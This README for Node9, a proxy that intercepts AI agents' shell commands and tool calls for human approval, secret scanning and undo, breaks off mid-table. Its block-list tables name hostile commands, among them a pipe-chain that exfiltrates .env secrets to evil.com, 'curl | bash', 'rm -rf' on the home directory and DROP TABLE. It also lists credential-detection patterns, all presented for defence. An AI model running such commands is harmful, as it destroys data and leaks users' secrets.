by node9-ai
The Execution Security Layer for the Agentic Era. Providing deterministic "Sudo" governance and audit logs for autonomous AI agents.
# Add to your Claude Code skills
git clone https://github.com/node9-ai/node9-proxyNode9 is the execution security layer for the Agentic Era. It encases autonomous AI Agents (Claude Code, Gemini CLI, Cursor, MCP Servers) in a deterministic security wrapper, intercepting dangerous shell commands and tool calls before they execute.
While others try to guess if a prompt is malicious (Semantic Security), Node9 governs the actual action (Execution Security).
| | | | ------------------------------------------------- | -------------------------------------------------- | | ๐ The Aha Moment | ๐ MCP Gateway | | โก Key Features | ๐ Config Precedence | | ๐ฎ Try it Live | โ๏ธ Custom Rules | | ๐ Quick Start | ๐ฅ๏ธ CLI Reference | | | | | | |
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AIs are literal. When you ask an agent to "Fix my disk space," it might decide to run docker system prune -af.
With Node9, the interaction looks like this:
Bash("docker system prune -af --volumes")Node9 initiates a Concurrent Race across all enabled channels. The first channel to receive a human signature wins and instantly cancels the others:
[Y/n] prompt for manual proxy usage and SSH sessions.Node9 records every tool call your AI agent makes in real-time โ no polling, no log files, no refresh. Two ways to watch:
Browser Dashboard (node9 daemon start โ localhost:7391)
A live 3-column dashboard. The left column streams every tool call as it happens, updating in-place from โ PENDING to โ ALLOW or โ BLOCK. The center handles pending approvals. The right sidebar controls shields and persistent decisions โ all without ever causing a browser scrollbar.
Terminal (node9 tail)
A split-pane friendly stream for terminal-first developers and SSH sessions:
node9 tail # live events only
node9 tail --history # replay recent history then go live
node9 tail | grep DLP # filter to DLP blocks only
๐ฐ๏ธ Node9 tail โ localhost:7391
Showing live events. Press Ctrl+C to exit.
21:06:58 ๐ Read {"file_path":"src/core.ts"} โ ALLOW
21:06:59 ๐ Grep {"pattern":"authorizeHeadless"} โ ALLOW
21:07:01 ๐ป Bash {"command":"npm run build"} โ ALLOW
21:07:04 ๐ป Bash {"command":"curl โฆ Bearer sk-ant-โฆ"} โ BLOCK ๐ก๏ธ DLP
node9 tail auto-starts the daemon if it isn't running โ no setup step needed.
After approving the same tool 3+ times, every channel (terminal, browser, native popup) shows a ๐ก insight: "Approved Nร before โ 'Always Allow' creates a permanent rule." Approved and denied cards stay stamped in the terminal history so you always know what was decided and when.
Node9 doesn't just "cut the wire." When a command is blocked, it injects a Structured Negotiation Prompt back into the AI's context window. This teaches the AI why it was stopped and instructs it to pivot to a safer alternative.
Node9 takes a silent, lightweight Git snapshot before every AI file edit. Snapshots are stored in an isolated shadow bare repo at ~/.node9/snapshots/ โ your project's .git is never touched, and no existing git setup is required. If the AI hallucinates and breaks your code, run node9 undo to instantly revert โ with a full diff preview before anything changes.
# Undo the last AI action (shows diff + asks confirmation)
node9 undo
# Go back N actions at once
node9 undo --steps 3
The last 10 snapshots are kept globally across all sessions in ~/.node9/snapshots.json. Older snapshots are dropped as new ones are added.
No install needed โ test Node9's policy engine against real commands in the browser:
# Recommended โ via Homebrew (macOS / Linux)
brew tap node9-ai/node9
brew install node9
# Or via npm
npm install -g @node9/proxy
# 1. Wire Node9 to your agent
node9 setup # interactive menu โ picks the right agent for you
node9 addto claude # or wire directly
node9 addto gemini
# 2. Enable shields for the services you use
node9 shield enable postgres
node9 shield enable aws
# 3. Verify everything is wired correctly
node9 doctor
# 4. See what's wired and which MCP servers are proxied
node9 status
Node9 has two layers of protection. You get Layer 1 automatically. Layer 2 is one command per service.
Built into the binary. Zero configuration required. Protects the tools every developer uses.
| What it protects | Example blocked action |
| :-------------------------- | :-------------------------------------------------------------------------------------- |
| Git | git push --force, git reset --hard, git clean -fd |
| Shell | curl ... \| bash, sudo commands |
| SQL | DELETE / UPDATE without WHERE; DROP TABLE, TRUNCATE TABLE, DROP COLUMN |
| Filesystem | rm -rf targeting home directory |
| Secrets (DLP) | AWS keys, GitHub tokens, Stripe keys, PEM private keys |
| Pipe-chain exfiltration | cat .env \| base64 \| curl https://evil.com โ critical risk blocks; high risk reviews |
Node9 scans every tool call argument for secrets before the command reaches your agent. If a credential is detected, Node9 hard-blocks the action, redacts the secret in the audit log, and injects a negotiation prompt telling the AI what went wrong.
Built-in patterns:
| Pattern | Severity | Prefix format |
| :---------------- | :------- | :-------------------------- |
| AWS Access Key ID | block | AKIA + 16 chars |
| GitHub Token | block | ghp_, gho_, ghs_ |
| Slack Bot Token | block | xoxb- |
| OpenAI API Key | block | sk- + 20+ chars |
| Stripe Secret Key | block | sk_live_ / sk_test_ |
| PEM Private Key | block | -----BEGIN PRIVATE KEY--- |
| Bearer Token | review | Authorization: Bearer ... |
block = hard deny, no approval prompt. review = routed through the normal race engine for human approval.
Secrets are never logged in full โ the audit trail stores only a redacted sample (AKIA****MPLE).
Config knobs (in node9.config.json or ~/.node9/config.json):
{
"policy": {
"dlp": {
"enabled": true,
"scanIgnoredTools": true
}
}
}
| Key | Default | Description |
| :--------------------- | :------ | :----------------------------------------------------------------- |
| dlp.enabled | true | Master switch โ disable to turn off all DLP scanning |
| dlp.scanIgnoredTools | true | Also scan tools in ignoredTools (e.g. web_search, read_file) |
Shields add protection for specific infrastructure and services โ only relevant if you actually use them.
| Shield | What it protects | | :----------- | :-------------------------------------------------------------------------------------------------------------- | | `po